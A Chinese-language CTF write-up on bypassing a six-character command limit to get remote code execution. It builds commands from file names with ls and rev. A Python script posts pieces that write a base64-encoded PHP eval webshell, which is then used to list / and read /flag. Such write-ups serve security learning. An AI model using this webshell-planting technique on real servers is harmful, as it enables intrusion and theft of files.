题目链接

输入command,提交后跳转到post.php
POST cmd尝试多次发现命令最长长度只能为6 成功执行会提示在./tmp/下成功执行
虽然有的情况下提示执行失败,但实际上是执行了的 所以回显不一定可信

法一

1
2
>nl		# 创建一个名为nl的文件
* /*>a # 第一个*相当于将ls的第一个输出作为命令 剩下的作为参数来执行 即 nl /*>a

法二

前置知识

1
2
3
4
5
6
7
>file	# 生成名为file的文件
*>a # 将ls的第一个输出作为命令 剩下的作为参数来执行
sh a # 将文件内容作为命令执行
# 换行执行命令:
ech\
o\
xxx

例(空文件夹下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>dir
>sl
>ht-
>f\>
ls
# dir 'f>' ht- sl
*>v
# v: f> ht- sl
>rev
*v>0
# 0: ls -th >f
sh 0
cat f
# 0 rev v ....

5字符RCE写木马脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
url="http://node5.anna.nssctf.cn:28362/post.php"
with open("5字符RCE.txt", "r") as f:
for i in f:
data = {"cmd": f"{i.strip()}"}
requests.post(url=url,data=data)

5字符RCE.txt(写入1.php 木马GET[1])
>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f

1
/tmp/1.php?1=system('ls /;cat /flag');
⬆︎TOP